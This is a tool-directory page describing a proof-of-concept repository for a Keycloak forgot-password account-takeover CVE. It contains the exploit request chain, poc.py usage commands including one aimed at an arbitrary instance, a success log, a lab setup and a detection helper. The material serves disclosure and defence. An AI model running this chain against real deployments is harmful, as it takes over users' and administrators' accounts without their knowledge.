Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
-CVE-2026-18963-POC — Working PoC for CVE-2026-18963, an unauthenticated account takeover in Keycloak's forgot-password flow, plus a lab provisioning script and admin-event detection helper. | Kitploit
Tools/GitHubGitHub/sonofabot/-cve-2026-18963-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingIdentity & Access Management (IAM)AuthenticationIncident Response
GitHub
sonofabot/-cve-2026-18963-poc

-CVE-2026-18963-POC

Working PoC for CVE-2026-18963, an unauthenticated account takeover in Keycloak's forgot-password flow, plus a lab provisioning script and admin-event detection helper.

View Repository
11 month agoNot yet reviewed
Share

CVE-2026-18963: Keycloak reset-credentials flow bypass

Unauthenticated account takeover in Keycloak's "forgot password" flow. An attacker who knows, or can guess, a username can reset that account's password without ever receiving the email verification link.

Ethical Warning. This repo contains a working unauthenticated account-takeover PoC. Do not run it against infrastructure you are not authorised to test, and do not publish it publicly before the disclosure process below is complete.

CVECVE-2026-18963
GHSAGHSA-4gv3-mc9p-5wqc
Componentorg.keycloak:keycloak-services
SeverityCritical, CVSS 3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H:A:N (9.1)
CWECWE-640 Weak Password Recovery Mechanism for Forgotten Password
Reported bystianst (issue #51833)
Fixed bykeycloak/keycloak#51844

Affected versions

AffectedPatched
>= 26.0.0, < 26.4.1526.4.15
>= 26.5.0, < 26.6.626.6.6
>= 26.7.0, < 26.7.226.7.2

Patched upstream 11 Aug 2026 (26.4.15 / 26.6.6) and 19 Aug 2026 (26.7.2). Red Hat advisories: RHSA-2026:56519, RHSA-2026:56520, RHSA-2026:56523, RHSA-2026:56524.

No realm configuration turns this off. Every deployment that offers self-service password reset runs the vulnerable code.

Impact

  • Take over any account in any realm, unauthenticated, including administrators.
  • Fully silent to the victim: no reset email, no lockout, no notification, no entry in the user's own login history. Only the admin event log records it.
  • The same flow leaks which usernames exist (see Side finding below), so an attacker can enumerate a realm and then take it over account by account without touching a mailbox.
  • Every application that trusts Keycloak SSO is in scope, so the blast radius is the whole identity perimeter, not just Keycloak.

Root cause

Two bugs combine. The advisory describes one, but both are required for the chain.

Bug 1: the enabler

services/src/main/java/org/keycloak/authentication/DefaultAuthenticationFlow.java

AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED was stored as a plain boolean instead of an execution id:

- processor.getAuthenticationSession().setAuthNote(
-     AuthenticationProcessor.AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, "true");
+ processor.getAuthenticationSession().setAuthNote(
+     AuthenticationProcessor.AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, model.getId());

Because it was only "true", re-entering the reset flow re-rendered the "try another way" selector for whatever execution happened to be current, including the forked "Send Reset Email" step. The fix records which execution the selector was for and clears the note once the flow advances. Alone this is a UI oddity, but it is what lets the selector be aimed at the email step.

Bug 2: the vulnerability

services/src/main/java/org/keycloak/authentication/authenticators/resetcred/ResetCredentialEmail.java

 public void action(AuthenticationFlowContext context) {
-    context.success();
+    UserModel user = context.getUser();
+    String actionTokenUserId = context.getAuthenticationSession()
+                                .getAuthNote(DefaultActionTokenKey.ACTION_TOKEN_USER_ID);
+    if (user != null && user.getId().equals(actionTokenUserId)) {
+        context.success();
+    } else {
+        context.failure(AuthenticationFlowError.INVALID_USER);
+    }
 }

action() marked the reset step successful without verifying that the request arrived via the emailed action token. That email link is the only control binding a password reset to the account owner's mailbox. Without it the flow stops being account recovery and becomes account assignment.

Bug 1 aims the request, bug 2 lets it discharge without a live round.

Exploit chain

All requests unauthenticated. The attacker supplies only a username.

#RequestResult
1GET /realms/{realm}/protocol/openid-connect/auth?...client_id=accountlogin page, creates auth session
2GET the "Forgot password" linkusername form
3POST username form with tryAnotherWay=onselector screen renders, sets bug 1's note
4POST selector action with username=<victim>reset email sent (unread), flow forks at the email execution
5GET the original forgot-password URL again, same tabbug 1 re-renders the selector, now aimed at the email execution
6POST that form with no authenticationExecution fieldprocessAction() falls through to action(), context.success(), flow advances
7POST password-new / password-confirmvictim's password overwritten
8verifynew password authenticates, old one rejected

Step 5 needs bug 1, step 6 needs bug 2. The PoC never calls a hidden endpoint or forges a token: at step 6 it submits the form the server itself rendered one request earlier.

Usage

The PoC takes the instance URL, realm, and target username. It ends by proving takeover with a Direct Access Grant against both the new and the old password.

# Against a lab you control
python3 poc.py --base http://localhost:8080 --realm poc --user victim

# Against another instance
python3 poc.py --base https://sso.example.com --realm $REALM --user someone

A real reproduction ends like this:

[1] login page ok
[2] reset-credentials username form ok
[3] selector screen rendered (bug-1 flag set)
[4] reset email for 'co.obi' triggered (link goes to victim's mailbox only)
[5] selector re-rendered, targets execution 41...... (reset-credential-email)
[6] bypass ok -> UPDATE PASSWORD form reached without the email link
[7] password submitted -> HTTP 302
[8] verify: new password -> HTTP 200, old password -> HTTP 400
[+] ACCOUNT TAKEOVER CONFIRMED - CVE-2026-18963 reproduced

Step 8 is the only step that constitutes proof. A 302 to a change-password page does not mean the account changed hands, and if the old password also authenticated, nothing happened.

Setting up a lab

Run a vulnerable instance with Docker:

docker run -d --name kc-vuln -p 8080:8080 -p 9000:9000 -e KC_BOOTSTRAP_ADMIN_USERNAME=admin -e KC_BOOTSTRAP_ADMIN_PASSWORD=admin -e KC_HEALTH_ENABLED=true quay.io/keycloak/keycloak:26.7.1 start-dev --hostname=http://localhost:8080

# optional patched control, same env
docker run -d --name kc-fixed -p 8081:8080 -e KC_BOOTSTRAP_ADMIN_USERNAME=admin -e KC_BOOTSTRAP_ADMIN_PASSWORD=admin quay.io/keycloak/keycloak:26.7.2 start-dev --hostname=http://localhost:8080

python3 provision.py          # realm 'poc', user 'victim', ROPC client 'poc-check'

provision.py defaults to --base http://localhost:8080 --admin admin --admin-pass admin.

Then:

python3 poc.py                                     # -> ACCOUNT TAKEOVER CONFIRMED
python3 poc.py --base http://localhost:8081        # -> blocked at step [5], patched

No SMTP is needed. The email send fails and logs SEND_RESET_PASSWORD_ERROR, but the flow still forks, which is all the exploit requires.

Detecting exploitation

cve-2026-18963-hunt.py reads the admin events API to find resets that completed without a matching EXECUTE_ACTION_TOKEN, which is the signature of this attack.

python3 cve-2026-18963-hunt.py --base http://localhost:8080 --admin admin --admin-pass admin --realm poc --since 1h

It pairs SEND_RESET_PASSWORD with UPDATE_PASSWORD/UPDATE_CREDENTIAL on the same code_id and flags pairs inside a short time delta. It is a heuristic, not proof: a legitimate reset completed quickly also matches.

Requires Direct Access Grants on the OIDC client and realm-management/view-events.

Side finding: unauthenticated user enumeration

The same flow distinguishes real from fake accounts without performing a reset:

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    772
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    505
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    420
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    345
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    260
  • 6

    antifox

    antifox-ai/antifox

    AI multi-agent autonomous penetration testing platform that runs recon, attack-surface discovery, exploitation validation and evidence-backed report delivery.

    251

Explore all tools

Browse our collection of tools

View all tools →